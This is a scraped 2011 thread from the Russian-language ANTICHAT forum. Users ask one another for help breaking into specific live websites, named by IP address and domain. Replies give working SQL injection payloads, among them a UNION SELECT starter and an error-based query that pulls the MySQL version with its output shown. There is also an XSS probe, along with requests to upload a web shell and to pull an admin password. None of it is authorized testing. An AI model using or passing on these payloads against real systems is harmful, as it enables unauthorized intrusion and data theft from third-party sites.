ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
05.10.2011, 19:17
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от z0mbie86
z0mbie86 said:
Помогите раскрутить http://217.8.80.55/?m[admin]&id=1'
Имхо, это не скуля.
Нужен админский доступ - заюзай XSS лучше
Код:
Code:
http://217.8.80.55/?m[search]&search_block_num=alert(/Its XSS, Baby/)
|
|
|
05.10.2011, 19:29
|
|
Новичок
Регистрация: 25.07.2009
Сообщений: 10
Провел на форуме:
71531
Репутация:
0
|
|
Сообщение от BigBear
BigBear said:
Имхо, это не скуля.
Нужен админский доступ - заюзай XSS лучше
Там доступ в админку была но теперь сама админка удалена.
|
|
|
|
05.10.2011, 20:07
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от alexvrn
alexvrn said:
Можно ли раскрутит такую скулю id=1' ?
Код:
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' ORDER BY image_order LIMIT 2' at line 1
Помогите пожалуйста Мне тока что с таким сообщением стукнули в аську, ДА МОЖНО, но прежде чем это сделать, нужно хотя бы пару статеек по скулям почитать и понять что к чему, скуля там очень простая:
Сообщение от None
_http://www.mallorca-properties.co.uk/index.php/globals/_slideshow-images_en/?entry_id=1'
там фильтруются скобки, а вы навернека первым делом встевели что то типо version()
вообщем вот ваше начало:
Сообщение от None
http://www.mallorca-properties.co.uk/index.php/globals/_slideshow-images_en/?entry_id=-1+union+select+1,2+--+
а дальше хоть немножко напрегите свои извилены!
|
|
|
|
05.10.2011, 20:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Сообщение от z0mbie86
z0mbie86 said:
Помогите раскрутить http://217.8.80.55/?m[admin]&id=1'
Код:
Code:
https://wifi.hm-ugratel.ru/?m[admin]&id=',''and(select(1)from(select(count(*)),(concat((select(version())),0x00,floor(rand(0)*2)))x/**/from(information_schema.tables)group/**/by(x))a)and'
version(): 5.0.67
|
|
|
|
06.10.2011, 03:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
303
Репутация:
0
|
|
Привет если есть кто умеет лить шелл отпишитесь в личку пожалуйста или аську в личку.
|
|
|
|
06.10.2011, 03:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
290351
Репутация:
173
|
|
Доброго здравия форумчане!
В общем ищу где можно почитать про PostgreSQL
Нашёл такую скулю на сайте, а как попросить его показать мне пароль админа не знаю,
Помогите убедить сайт.
Leon2k
Можешь обратиться в личку, всё что знаю расскажу!
|
|
|
|
06.10.2011, 07:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
129743
Репутация:
92
|
|
|
|
|
|
07.10.2011, 01:30
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от OxoTnik
OxoTnik said:
такая проблема
Узнал таблицы, колонки, а в нужных колонках он не показывает нужную инфу
Как в этом случае его вытащить??
Ввёл точно все правильно!
Возможно, придётся поработать с выводом, чтото вроде
Код:
Code:
unhex(hex(%Visible_Col%)) или AES_DECRYPT(AES_ENCRYPT(%Visible_Col%,0x 71),0x71)
где %Visible_Col% - выводимая колонка в запросе
всё зависит от случая
|
|
|
|
07.10.2011, 02:36
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от OxoTnik
OxoTnik said:
Только где про это почитать?
В любой статье по SQL-иньекциям.
/thread43966.html
/thread104591.html
|
|
|
|
07.10.2011, 11:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
2371
Репутация:
0
|
|
insert into помогите с injection
запрос вида
log.php?ver=1.0.1.130'
Ошибка при занесении информации в базу.
118 ******/log.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1.0.1.130'', '' )' at line 25
INSERT INTO log (event, os, client, ie, fr, op, ch, guid, ip, ver, msg ) VALUES ( '', '', '', '', '', '', '', '', '127.0.0.1', '1.0.1.130'', '' ) array(1) { ["ver"]=> string(10) "1.0.1.130'" }
все параметры строковые, можно как то вставить union+select?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
